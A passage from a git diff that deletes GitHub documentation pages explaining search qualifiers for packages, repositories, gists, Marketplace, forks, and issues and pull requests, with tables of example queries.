[**`org:github`**](https://github.com/search?q=org%3Agithub&type=RegistryPackages) matches packages owned by the {% data variables.product.prodname_dotcom %} organization - -## Filtering by package visibility - -To filter your search by whether a package is public or private, use the `is` qualifier. - -| Qualifier | Example | -| ------------- | ------------- -| `is:public`| [**is:public angular**](https://github.com/search?q=is%3Apublic+angular&type=RegistryPackages) matches public packages that contain the word "angular" -| `is:private`| [**is:private php**](https://github.com/search?q=is%3Aprivate+php&type=RegistryPackages) matches private packages that contain the word "php" diff --git a/content/search-github/searching-on-github/searching-for-repositories.md b/content/search-github/searching-on-github/searching-for-repositories.md deleted file mode 100644 index c0db21c34a36..000000000000 --- a/content/search-github/searching-on-github/searching-for-repositories.md +++ /dev/null @@ -1,226 +0,0 @@ ---- -title: Searching for repositories -intro: 'You can search for repositories on {% data variables.product.github %} and narrow the results using these repository search qualifiers in any combination.' -redirect_from: - - /articles/searching-repositories - - /articles/searching-for-repositories - - /github/searching-for-information-on-github/searching-for-repositories - - /github/searching-for-information-on-github/searching-on-github/searching-for-repositories -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub search -shortTitle: Search for repositories ---- -You can search for repositories globally across all of {% data variables.product.prodname_dotcom %}, or search for repositories within a particular organization. For more information, see [AUTOTITLE](/search-github/getting-started-with-searching-on-github/about-searching-on-github). - -To include forks in the search results, you will need to add `fork:true` or `fork:only` to your query. For more information, see [AUTOTITLE](/search-github/searching-on-github/searching-in-forks). - -{% data reusables.search.syntax_tips %} - -## Search by repository name, description, or contents of the README file - -With the `in` qualifier you can restrict your search to the repository name, repository description, repository topics, contents of the README file, or any combination of these. When you omit this qualifier, only the repository name, description, and topics are searched. - -| Qualifier | Example -| ------------- | ------------- -| `in:name` | [**jquery in:name**](https://github.com/search?q=jquery+in%3Aname&type=Repositories) matches repositories with "jquery" in the repository name. -| `in:description` | [**jquery in:name,description**](https://github.com/search?q=jquery+in%3Aname%2Cdescription&type=Repositories) matches repositories with "jquery" in the repository name or description. -| `in:topics` | [**jquery in:topics**](https://github.com/search?q=jquery+in%3Atopics&type=Repositories) matches repositories labeled with "jquery" as a topic. -| `in:readme` | [**jquery in:readme**](https://github.com/search?q=jquery+in%3Areadme&type=Repositories) matches repositories mentioning "jquery" in the repository's README file. -| `repo:owner/name` | [**repo:octocat/hello-world**](https://github.com/search?q=repo%3Aoctocat%2Fhello-world) matches a specific repository name. - -## Search based on the contents of a repository - -You can find a repository by searching for content in the repository's README file using the `in:readme` qualifier. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes). - -Besides using `in:readme`, it's not possible to find repositories by searching for specific content within the repository. To search for a specific file or content within a repository, you can use the file finder or code-specific search qualifiers. For more information, see [AUTOTITLE](/search-github/searching-on-github/finding-files-on-github) and [AUTOTITLE]{% ifversion code-search-upgrade %}(/search-github/github-code-search/understanding-github-code-search-syntax){% else %}(/search-github/searching-on-github/searching-code){% endif %}. - -| Qualifier | Example -| ------------- | ------------- -| `in:readme` | [**octocat in:readme**](https://github.com/search?q=octocat+in%3Areadme&type=Repositories) matches repositories mentioning "octocat" in the repository's README file. - -## Search within a user's or organization's repositories - -To search in all repositories owned by a certain user or organization, you can use the `user` or `org` qualifier. - -| Qualifier | Example -| ------------- | ------------- -| user:USERNAME | [**user:defunkt forks:>100**](https://github.com/search?q=user%3Adefunkt+forks%3A%3E%3D100&type=Repositories) matches repositories from @defunkt that have more than 100 forks. -| org:ORGNAME | [**org:github**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub&type=Repositories) matches repositories from GitHub. - -## Search by repository size - -The `size` qualifier finds repositories that match a certain size (in kilobytes), using greater than, less than, and range qualifiers. For more information, see [AUTOTITLE](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). - -| Qualifier | Example -| ------------- | ------------- -| size:n | [**size:1000**](https://github.com/search?q=size%3A1000&type=Repositories) matches repositories that are 1 MB exactly. -| size:>n | [**size:>=30000**](https://github.com/search?q=size%3A%3E%3D30000&type=Repositories) matches repositories that are at least 30 MB. -| size:<n | [**size:<50**](https://github.com/search?q=size%3A%3C50&type=Repositories) matches repositories that are smaller than 50 KB. -| size:n..n | [**size:50..120**](https://github.com/search?q=size%3A50..120&type=Repositories) matches repositories that are between 50 KB and 120 KB. - -## Search by number of followers - -You can filter repositories based on the number of users who follow the repositories, using the `followers` qualifier with greater than, less than, and range qualifiers. For more information, see [AUTOTITLE](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). - -| Qualifier | Example -| ------------- | ------------- -| followers:>=n | [**node followers:>=10000**](https://github.com/search?q=node+followers%3A%3E%3D10000) matches repositories with 10,000 or more followers mentioning the word "node". -| followers:n..n | [**styleguide linter followers:1..10**](https://github.com/search?q=styleguide+linter+followers%3A1..10&type=Repositories) matches repositories with between 1 and 10 followers, mentioning the word "styleguide linter." - -## Search by number of forks - -The `forks` qualifier specifies the number of forks a repository should have, using greater than, less than, and range qualifiers. For more information, see [AUTOTITLE](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). - -| Qualifier | Example -| ------------- | ------------- -| forks:n | [**forks:5**](https://github.com/search?q=forks%3A5&type=Repositories) matches repositories with only five forks. -| forks:>n | [**forks:>=205**](https://github.com/search?q=forks%3A%3E%3D205&type=Repositories) matches repositories with at least 205 forks. -| forks:<n | [**forks:<90**](https://github.com/search?q=forks%3A%3C90&type=Repositories) matches repositories with fewer than 90 forks. -| forks:n..n | [**forks:10..20**](https://github.com/search?q=forks%3A10..20&type=Repositories) matches repositories with 10 to 20 forks. - -## Search by number of stars - -You can search repositories based on the number of stars the repositories have, using greater than, less than, and range qualifiers. For more information, see [AUTOTITLE](/get-started/exploring-projects-on-github/saving-repositories-with-stars) and [AUTOTITLE](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). - -| Qualifier | Example -| ------------- | ------------- -| stars:n | [**stars:500**](https://github.com/search?utf8=%E2%9C%93&q=stars%3A500&type=Repositories) matches repositories with exactly 500 stars. -| stars:n..n size:<n | [**stars:10..20 size:<1000**](https://github.com/search?q=stars%3A10..20+size%3A%3C1000&type=Repositories) matches repositories 10 to 20 stars, that are smaller than 1000 KB. -| stars:>=n `fork:true` language:LANGUAGE | [**stars:>=500 fork:true language:php**](https://github.com/search?q=stars%3A%3E%3D500+fork%3Atrue+language%3Aphp&type=Repositories) matches repositories with the at least 500 stars, including forked ones, that are written in PHP. - -## Search by when a repository was created or last updated - -You can filter repositories based on time of creation or time of last update. For repository creation, you can use the `created` qualifier; to find out when a repository was last updated, you'll want to use the `pushed` qualifier. The `pushed` qualifier will return a list of repositories, sorted by the most recent commit made on any branch in the repository. - -Both take a date as a parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} - -{% data reusables.search.date_gt_lt %} - -| Qualifier | Example -| ------------- | ------------- -| created:<YYYY-MM-DD | [**webos created:<2011-01-01**](https://github.com/search?q=webos+created%3A%3C2011-01-01&type=Repositories) matches repositories with the word "webos" that were created before 2011. -| pushed:>YYYY-MM-DD | [**css pushed:>2013-02-01**](https://github.com/search?utf8=%E2%9C%93&q=css+pushed%3A%3E2013-02-01&type=Repositories) matches repositories with the word "css" that were pushed to after January 2013. -| pushed:>=YYYY-MM-DD `fork:only` | [**case pushed:>=2013-03-06 fork:only**](https://github.com/search?q=case+pushed%3A%3E%3D2013-03-06+fork%3Aonly&type=Repositories) matches repositories with the word "case" that were pushed to on or after March 6th, 2013, and that are forks. - -## Search by language - -You can search repositories based on the language of the code in the repositories. - -| Qualifier | Example -| ------------- | ------------- -| language:LANGUAGE | [**`rails language:javascript`**](https://github.com/search?q=rails+language%3Ajavascript&type=Repositories) matches repositories with the word "rails" that are written in JavaScript. - -## Search by topic - -You can find all of the repositories that are classified with a particular topic. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics). - -| Qualifier | Example -| ------------- | ------------- -| topic:TOPIC | [**`topic:jekyll`**](https://github.com/search?utf8=%E2%9C%93&q=topic%3Ajekyll&type=Repositories&ref=searchresults) matches repositories that have been classified with the topic "Jekyll." - -## Search by number of topics - -You can search repositories by the number of topics that have been applied to the repositories, using the `topics` qualifier along with greater than, less than, and range qualifiers. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics) and [AUTOTITLE](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). - -| Qualifier | Example -| ------------- | ------------- -| topics:n | [**topics:5**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A5&type=Repositories&ref=searchresults) matches repositories that have five topics. -| topics:>n | [**topics:>3**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A%3E3&type=Repositories&ref=searchresults) matches repositories that have more than three topics. - -## Search by license - -You can search repositories by the type of license in the repositories. You must use a license keyword to filter repositories by a particular license or license family. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository). - -| Qualifier | Example -| ------------- | ------------- -| license:LICENSE_KEYWORD | [**license:apache-2.0**](https://github.com/search?utf8=%E2%9C%93&q=license%3Aapache-2.0&type=Repositories&ref=searchresults) matches repositories that are licensed under Apache License 2.0. - -## Search by repository visibility - -You can filter your search based on the visibility of the repositories. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility). - -| Qualifier | Example | -| ------------- | ------------- | -| `is:public` | [**is:public org:github**](https://github.com/search?q=is%3Apublic+org%3Agithub&type=Repositories) matches public repositories owned by {% data variables.product.company_short %}. | -| {% ifversion ghes or ghec %} | -| `is:internal` | [**is:internal test**](https://github.com/search?q=is%3Ainternal+test&type=Repositories) matches internal repositories that you can access and contain the word "test". | -| {% endif %} | -| `is:private` | [**is:private pages**](https://github.com/search?q=is%3Aprivate+pages&type=Repositories) matches private repositories that you can access and contain the word "pages." - -{% ifversion repository-properties %} - -## Search based on repository custom property - -You can filter repositories based on custom properties using the `props.` prefixed qualifiers. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/managing-custom-properties-for-repositories-in-your-organization). - -For these qualifiers to work, the search must be limited to a single organization. Otherwise, `props.` qualifiers are ignored. - -| Qualifier | Example -| ------------- | ------------- -| props.PROPERTY:VALUE | [**org:github props.environment:production**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub+props.environment%3Atesting&type=Repositories) matches repositories from the `github` organization that have the custom property `environment` set to `production`. - -{% endif %} - -{% ifversion fpt or ghec %} - -## Search based on whether a repository is a mirror - -You can search repositories based on whether the repositories are mirrors and hosted elsewhere. For more information, see [AUTOTITLE](/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github). - -| Qualifier | Example -| ------------- | ------------- -| `mirror:true` | [**mirror:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Atrue+GNOME&type=) matches repositories that are mirrors and contain the word "GNOME." -| `mirror:false` | [**mirror:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Afalse+GNOME&type=) matches repositories that are not mirrors and contain the word "GNOME." - -{% endif %} - -## Search based on whether a repository is a template - -You can search repositories based on whether the repositories are templates. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-template-repository). - -| Qualifier | Example -| ------------- | ------------- -| `template:true` | [**template:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=template%3Atrue+GNOME&type=) matches repositories that are templates and contain the word "GNOME". -| `template:false` | [**template:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=template%3Afalse+GNOME&type=) matches repositories that are not templates and contain the word "GNOME". - -## Search based on whether a repository is archived - -You can search repositories based on whether or not the repositories are archived. For more information, see [AUTOTITLE](/repositories/archiving-a-github-repository/archiving-repositories). - -| Qualifier | Example -| ------------- | ------------- -| `archived:true` | [**archived:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Atrue+GNOME&type=) matches repositories that are archived and contain the word "GNOME." -| `archived:false` | [**archived:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Afalse+GNOME&type=) matches repositories that are not archived and contain the word "GNOME." - -{% ifversion fpt or ghec %} - -## Search based on number of issues with `good first issue` or `help wanted` labels - -You can search for repositories that have a minimum number of issues labeled `help-wanted` or `good-first-issue` with the qualifiers `help-wanted-issues:>n` and `good-first-issues:>n`. For more information, see [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels). - -| Qualifier | Example -| ------------- | ------------- -| `good-first-issues:>n` | [**good-first-issues:>2 javascript**](https://github.com/search?utf8=%E2%9C%93&q=javascript+good-first-issues%3A%3E2&type=) matches repositories with more than two issues labeled `good-first-issue` and that contain the word "javascript." -| `help-wanted-issues:>n`|[**help-wanted-issues:>4 react**](https://github.com/search?utf8=%E2%9C%93&q=react+help-wanted-issues%3A%3E4&type=) matches repositories with more than four issues labeled `help-wanted` and that contain the word "React." - -## Search based on ability to sponsor - -You can search for repositories whose owners can be sponsored on {% data variables.product.prodname_sponsors %} with the `is:sponsorable` qualifier. For more information, see [AUTOTITLE](/sponsors/getting-started-with-github-sponsors/about-github-sponsors). - -You can search for repositories that have a funding file using the `has:funding-file` qualifier. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository#about-funding-files). - -| Qualifier | Example -| ------------- | ------------- -| `is:sponsorable` | [**is:sponsorable**](https://github.com/search?q=is%3Asponsorable&type=Repositories) matches repositories whose owners have a {% data variables.product.prodname_sponsors %} profile. -| `has:funding-file` | [**has:funding-file**](https://github.com/search?q=has%3Afunding-file&type=Repositories) matches repositories that have a FUNDING.yml file. - -{% endif %} - -## Further reading - -* [AUTOTITLE](/search-github/getting-started-with-searching-on-github/sorting-search-results) -* [AUTOTITLE](/search-github/searching-on-github/searching-in-forks) diff --git a/content/search-github/searching-on-github/searching-gists.md b/content/search-github/searching-on-github/searching-gists.md deleted file mode 100644 index eda4ac0f86bb..000000000000 --- a/content/search-github/searching-on-github/searching-gists.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Searching gists -intro: 'You can search for gists on {% data variables.product.github %} and narrow the results using search qualifiers.' -permissions: '{% data reusables.enterprise-accounts.emu-permission-gist %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -## Search gists - -You can search for gists globally across {% data variables.location.product_location %}. - -| Qualifier | Example | -| :- | :- | -| >n | [**cat stars:>100**](https://gist.github.com/search?q=cat+stars%3A%3E100) finds gists with the word "cat" that have more than 100 stars.| -| user:USERNAME | [**user:octocat**](https://gist.github.com/search?q=user%3Aoctocat) gets all gists created by @octocat. | -| `anon:true` | [**cat anon:true**](https://gist.github.com/search?q=cat+anon%3Atrue&ref=searchresults) includes anonymous gists in your search for cat-related gists. | -| `NOT` | [**NOT cat**](https://gist.github.com/search?q=NOT+cat&ref=searchresults) excludes all results containing cat. | -| `fork:only` | [**cat fork:only**](https://gist.github.com/search?q=cat+fork%3Aonly&ref=searchresults) matches all fork repositories containing the word "cat." | - -## Filter content - -Gist search looks through the file contents by default. You can also filter the results based on the content. - -| Qualifier | Example | -| :- | :- | -| filename:FILENAME | [**filename:.bashrc**](https://gist.github.com/search?q=filename%3A.bashrc&ref=searchresults) finds all gists with a ".bashrc" file. | -| language:LANGUAGE | [**cat language:html**](https://gist.github.com/search?q=cat+language%3Ahtml&ref=searchresults) finds all gists with the word "cat" with a HTML file. | -| extension:EXTENSION | [**join extension:coffee**](https://gist.github.com/search?q=join+extension%3Acoffee&ref=searchresults) finds all instances of "join" in gists with a coffee extension. | -| size:>n | [**system size:>1000**](https://gist.github.com/search?q=system+size%3A%3E1000&ref=searchresults) finds all instances of "system" in gists containing a file larger than 1 MB. | diff --git a/content/search-github/searching-on-github/searching-github-marketplace.md b/content/search-github/searching-on-github/searching-github-marketplace.md deleted file mode 100644 index 799509ff1e59..000000000000 --- a/content/search-github/searching-on-github/searching-github-marketplace.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Searching GitHub Marketplace -intro: 'You can search for apps and actions that are available on {% data variables.product.prodname_marketplace %}.' -versions: - fpt: '*' - ghec: '*' -topics: - - GitHub search -redirect_from: - - /github/searching-for-information-on-github/searching-github-marketplace - - /github/searching-for-information-on-github/searching-on-github/searching-github-marketplace -shortTitle: Search GitHub Marketplace ---- - -## About searching {% data variables.product.prodname_marketplace %} - -You can find apps and actions on {% data variables.product.prodname_marketplace %} in two ways: - -* Search from in {% data variables.product.prodname_marketplace %}. -* Search across all of {% data variables.product.prodname_dotcom %} and then filter the results. - -## Searching in {% data variables.product.prodname_marketplace %} - -{% data reusables.marketplace.visit-marketplace %} -1. Type any keywords and press **Enter**. -1. Optionally, filter your results by clicking one or more options in the left sidebar. - -## Searching across {% data variables.product.prodname_dotcom %} - -Anytime you search across all of {% data variables.product.prodname_dotcom %}, you can filter the results to see matching apps and actions from {% data variables.product.prodname_marketplace %}. - -1. Navigate to https://github.com/search. -1. Type any keywords and press **Enter**. -1. To see all available filters for your search, in the "Filter by" sidebar, click **More**. -1. To see results from {% data variables.product.prodname_marketplace %}, click **Marketplace**. - -## Further reading - -* [AUTOTITLE](/actions/learn-github-actions/finding-and-customizing-actions) -* [AUTOTITLE](/apps/using-github-apps/installing-a-github-app-from-github-marketplace-for-your-personal-account) -* [AUTOTITLE](/apps/using-github-apps/installing-a-github-app-from-github-marketplace-for-your-organizations) -* [AUTOTITLE](/apps/oauth-apps/using-oauth-apps/installing-an-oauth-app-in-your-personal-account) -* [AUTOTITLE](/apps/oauth-apps/using-oauth-apps/installing-an-oauth-app-in-your-organization) diff --git a/content/search-github/searching-on-github/searching-in-forks.md b/content/search-github/searching-on-github/searching-in-forks.md deleted file mode 100644 index 948f80e3facf..000000000000 --- a/content/search-github/searching-on-github/searching-in-forks.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Searching in forks -intro: 'By default, forks are not shown in search results. You can choose to include them in repository searches, and in code searches if they meet certain criteria.' -redirect_from: - - /articles/searching-in-forks - - /github/searching-for-information-on-github/searching-in-forks - - /github/searching-for-information-on-github/searching-on-github/searching-in-forks -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub search ---- - -To show forks in repository search results, add `fork:true` or `fork:only` to your query. For more information, see [AUTOTITLE](/search-github/searching-on-github/searching-for-repositories). - -{% ifversion ghes %}Forks are only indexed for code search when they have more stars than the parent repository. You will not be able to search the code in a fork that has fewer stars than its parent. To show forks with more stars than the parent repository in code search results, add `fork:true` or `fork:only` to your query. For more information, see [AUTOTITLE](/search-github/searching-on-github/searching-code).{% endif %} - -> [!NOTE] -> Forks can only be included in repository and code searches. - -The `fork:true` qualifier finds all results that match your search query, including forks. The `fork:only` qualifier finds _only_ forks that match your search query. - -| Qualifier | Example -| ------------- | ------------- -| `fork:true` | [**github fork:true**](https://github.com/search?q=github+fork%3Atrue&type=Repositories) matches all repositories containing the word "github," including forks. -| language:LANGUAGE `fork:true` | [**android language:java fork:true**](https://github.com/search?q=android+language%3Ajava+fork%3Atrue&type=Code) matches code with the word "android" that's written in Java, in both forks and regular repositories. -| `fork:only` | [**github fork:only**](https://github.com/search?q=github+fork%3Aonly&type=Repositories) matches all fork repositories containing the word "github." -| forks:>n `fork:only` | [**forks:>500 fork:only**](https://github.com/search?q=forks%3A%3E500+fork%3Aonly&type=Repositories) matches repositories with more than 500 forks, and only returns those that are forks. - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks) -* [AUTOTITLE](/repositories/viewing-activity-and-data-for-your-repository/understanding-connections-between-repositories#listing-the-forks-of-a-repository) -* [AUTOTITLE](/search-github/getting-started-with-searching-on-github/about-searching-on-github) diff --git a/content/search-github/searching-on-github/searching-issues-and-pull-requests.md b/content/search-github/searching-on-github/searching-issues-and-pull-requests.md deleted file mode 100644 index 1c06804e8d5b..000000000000 --- a/content/search-github/searching-on-github/searching-issues-and-pull-requests.md +++ /dev/null @@ -1,374 +0,0 @@ ---- -title: Searching issues and pull requests -intro: 'You can search for issues and pull requests on {% data variables.product.github %} and narrow the results using these search qualifiers in any combination.' -redirect_from: - - /articles/searching-issues - - /articles/searching-issues-and-pull-requests - - /github/searching-for-information-on-github/searching-issues-and-pull-requests - - /github/searching-for-information-on-github/searching-on-github/searching-issues-and-pull-requests -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub search -shortTitle: Search issues & PRs ---- -You can search for issues and pull requests globally across all of {% data variables.product.github %}, or search for issues and pull requests within a particular organization. For more information, see [AUTOTITLE](/search-github/getting-started-with-searching-on-github/about-searching-on-github). - -> [!TIP] -> * This article contains example searches on {% data variables.product.prodname_dotcom_the_website %}, but you can use the same search filters on other {% data variables.product.github %} platforms.{% ifversion issues-advanced-search %} -> * You can build advanced filters using boolean and nested queries on your repository's issues page. See [AUTOTITLE](/issues/tracking-your-work-with-issues/using-issues/filtering-and-searching-issues-and-pull-requests#building-advanced-filters-for-issues).{% endif %} -> * For a list of search syntaxes that you can add to any search qualifier to further improve your results, see [AUTOTITLE](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). -> * Use quotations around multi-word search terms. For example, if you want to search for issues with the label "In progress," you'd search for `label:"in progress"`. Search is not case sensitive. -> * Use a minus (hyphen) symbol to exclude results that match a qualifier. For example, to ignore issues created by the "octocat" user, you'd use `-author:octocat` in your search. Note that this does not work for [missing metadata qualifiers](#search-by-missing-metadata). -> * {% data reusables.search.search_issues_and_pull_requests_shortcut %} - -## Search only issues or pull requests - -By default, {% data variables.product.github %} search will return both issues and pull requests. However, you can restrict search results to just issues or pull requests using the `type` or `is` qualifier. - -| Qualifier | Example -| ------------- | ------------- -| `type:pr` | [**cat type:pr**](https://github.com/search?q=cat+type%3Apr&type=Issues) matches pull requests with the word "cat." -| `type:issue` | [**github commenter:defunkt type:issue**](https://github.com/search?q=github+commenter%3Adefunkt+type%3Aissue&type=Issues) matches issues that contain the word "github," and have a comment by @defunkt. -| `is:pr` | [**event is:pr**](https://github.com/search?utf8=%E2%9C%93&q=event+is%3Apr&type=) matches pull requests with the word "event." -| `is:issue` | [**is:issue label:bug is:closed**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aissue+label%3Abug+is%3Aclosed&type=) matches closed issues with the label "bug." - -## Search by the title, body, or comments - -With the `in` qualifier you can restrict your search to the title, body, comments, or any combination of these. When you omit this qualifier, the title, body, and comments are all searched. - -| Qualifier | Example -| ------------- | ------------- -| `in:title` | [**warning in:title**](https://github.com/search?q=warning+in%3Atitle&type=Issues) matches issues with "warning" in their title. -| `in:body` | [**error in:title,body**](https://github.com/search?q=error+in%3Atitle%2Cbody&type=Issues) matches issues with "error" in their title or body. -| `in:comments` | [**shipit in:comments**](https://github.com/search?q=shipit+in%3Acomment&type=Issues) matches issues mentioning "shipit" in their comments. - -## Search within a user's or organization's repositories - -To search issues and pull requests in all repositories owned by a certain user or organization, you can use the `user` or `org` qualifier. To search issues and pull requests in a specific repository, you can use the `repo` qualifier. - -{% data reusables.pull_requests.large-search-workaround %} - -| Qualifier | Example -| ------------- | ------------- -| user:USERNAME | [**user:defunkt ubuntu**](https://github.com/search?q=user%3Adefunkt+ubuntu&type=Issues) matches issues with the word "ubuntu" from repositories owned by @defunkt. -| org:ORGNAME | [**org:github**](https://github.com/search?q=org%3Agithub&type=Issues&utf8=%E2%9C%93) matches issues in repositories owned by the GitHub organization. -| repo:USERNAME/REPOSITORY | [**repo:mozilla/shumway created:<2012-03-01**](https://github.com/search?q=repo%3Amozilla%2Fshumway+created%3A%3C2012-03-01&type=Issues) matches issues from @mozilla's shumway project that were created before March 2012. - -## Search by open or closed state - -You can filter issues and pull requests based on whether they're open or closed using the `state` or `is` qualifier. - -| Qualifier | Example -| ------------- | ------------- -| `state:open` | [**libraries state:open mentions:vmg**](https://github.com/search?utf8=%E2%9C%93&q=libraries+state%3Aopen+mentions%3Avmg&type=Issues) matches open issues that mention @vmg with the word "libraries." -| `state:closed` | [**design state:closed in:body**](https://github.com/search?utf8=%E2%9C%93&q=design+state%3Aclosed+in%3Abody&type=Issues) matches closed issues with the word "design" in the body. -| `is:open` | [**performance is:open is:issue**](https://github.com/search?q=performance+is%3Aopen+is%3Aissue&type=Issues) matches open issues with the word "performance." -| `is:closed` | [**android is:closed**](https://github.com/search?utf8=%E2%9C%93&q=android+is%3Aclosed&type=) matches closed issues and pull requests with the word "android." - -## Search for pull requests in the merge queue - -You can also use the `is` qualifier to find pull requests that are queued to merge. - -| Qualifier | Example | -| --- | --- | -| `is:queued` | [**is:queued**](https://github.com/search?q=is%3Aqueued&type=pullrequests) matches pull requests that are currently queued to merge. - -## Search by the reason an issue was closed - -You can filter issues based on the reason given when the issue was closed, using the `reason` qualifier. - -| Qualifier | Example -| ------------- | ------------- -| `reason:completed` | [**libraries is:closed reason:completed**](https://github.com/search?q=libraries+is%3Aclosed+reason%3Acompleted&type=Issues) matches issues with the word "libraries" that were closed as "completed." -| `reason:"not planned"` | [**libraries is:closed reason:"not planned"**](https://github.com/search?q=libraries+is%3Aclosed+reason%3A%22not+planned%22&type=Issues) matches issues with the word "libraries" that were closed as "not planned." - -## Filter by repository visibility - -You can filter by the visibility of the repository containing the issues and pull requests using the `is` qualifier. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility). - -| Qualifier | Example | -| ------------- | ------------- | -| `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Issues) matches issues and pull requests in public repositories. | -| {% ifversion ghes or ghec %} | -| `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Issues) matches issues and pull requests in internal repositories. | -| {% endif %} | -| `is:private` | [**is:private cupcake**](https://github.com/search?q=is%3Aprivate+cupcake&type=Issues) matches issues and pull requests that contain the word "cupcake" in private repositories you can access. - -## Search by author - -The `author` qualifier finds issues and pull requests created by a certain user or integration account. - -| Qualifier | Example -| ------------- | ------------- -| author:USERNAME | [**cool author:gjtorikian**](https://github.com/search?q=cool+author%3Agjtorikian&type=Issues) matches issues and pull requests with the word "cool" that were created by @gjtorikian. -| `in:body` author:USERNAME | [**bootstrap in:body author:mdo**](https://github.com/search?q=bootstrap+in%3Abody+author%3Amdo&type=Issues) matches issues written by @mdo that contain the word "bootstrap" in the body. -| author:app/USERNAME | [**author:app/robot**](https://github.com/search?q=author%3Aapp%2Frobot&type=Issues) matches issues created by the integration account named "robot." -| -author:app/USERNAME | [**-author:app/robot**](https://github.com/search?q=-author%3Aapp%2Frobot&type=Issues) matches issues created by any user other than the integration account named "robot." The minus sign, or dash character (-) before the qualifier signifies a logical NOT for the qualifier in the search query. - -## Search by assignee - -The `assignee` qualifier finds issues and pull requests that are assigned to a certain user. You can search for issues and pull requests that have _any_ assignee by using the wildcard character `*`, but only within a single repository. You can also search for [issues and pull requests that have no assignee](#search-by-missing-metadata). - -| Qualifier | Example -| ------------- | ------------- -| assignee:USERNAME | [**assignee:vmg repo:libgit2/libgit2**](https://github.com/search?utf8=%E2%9C%93&q=assignee%3Avmg+repo%3Alibgit2%2Flibgit2&type=Issues) matches issues and pull requests in libgit2's project libgit2 that are assigned to @vmg. -| assignee:* | [**is:open is:issue assignee:\***](https://github.com/openssl/openssl/issues/assigned/*) matches open issues within a single repository that are assigned to any user. - -## Search by mention - -The `mentions` qualifier finds issues that mention a certain user. For more information, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#mentioning-people-and-teams). - -| Qualifier | Example -| ------------- | ------------- -| mentions:USERNAME | [**`resque mentions:defunkt`**](https://github.com/search?q=resque+mentions%3Adefunkt&type=Issues) matches issues with the word "resque" that mention @defunkt. - -## Search by team mention - -For organizations and teams you belong to, you can use the `team` qualifier to find issues or pull requests that @mention a certain team within that organization. Replace these sample names with your organization and team name to perform a search. - -| Qualifier | Example -| ------------- | ------------- -| team:ORGNAME/TEAMNAME | **`team:jekyll/owners`** matches issues where the `@jekyll/owners` team is mentioned. -| team:ORGNAME/TEAMNAME `is:open is:pr` | **team:myorg/ops is:open is:pr** matches open pull requests where the `@myorg/ops` team is mentioned. - -## Search by commenter - -The `commenter` qualifier finds issues that contain a comment from a certain user. - -| Qualifier | Example -| ------------- | ------------- -| commenter:USERNAME | [**github commenter:defunkt org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Adefunkt+org%3Agithub&type=Issues) matches issues in repositories owned by GitHub, that contain the word "github," and have a comment by @defunkt. - -## Search by a user that's involved in an issue or pull request - -You can use the `involves` qualifier to find issues that in some way involve a certain user. The `involves` qualifier is a logical OR between the `author`, `assignee`, `mentions`, and `commenter` qualifiers for a single user. In other words, this qualifier finds issues and pull requests that were either created by a certain user, assigned to that user, mention that user, or were commented on by that user. - -| Qualifier | Example -| ------------- | ------------- -| involves:USERNAME | **[involves:defunkt involves:jlord](https://github.com/search?q=involves%3Adefunkt+involves%3Ajlord&type=Issues)** matches issues either @defunkt or @jlord are involved in. -| `in:body` involves:USERNAME | [**NOT bootstrap in:body involves:mdo**](https://github.com/search?q=NOT+bootstrap+in%3Abody+involves%3Amdo&type=Issues) matches issues @mdo is involved in that do not contain the word "bootstrap" in the body. - -## Search for my issues and pull requests - -You can search for issues and pull requests you have created or have interacted with by following the desired qualifier with `@me`. Any qualifier that works with a username allows you to limit your search to issues and pull requests you created, are assigned, mentioned on, or are requested as a reviewer of. - -| Qualifier | Example -| ------------- | ------------- -| author:@me | **[author:@me](https://github.com/search?q=author%3A%40me)** matches issues and pull requests you have authored. -| is:pr commenter:@me | **[is:pr 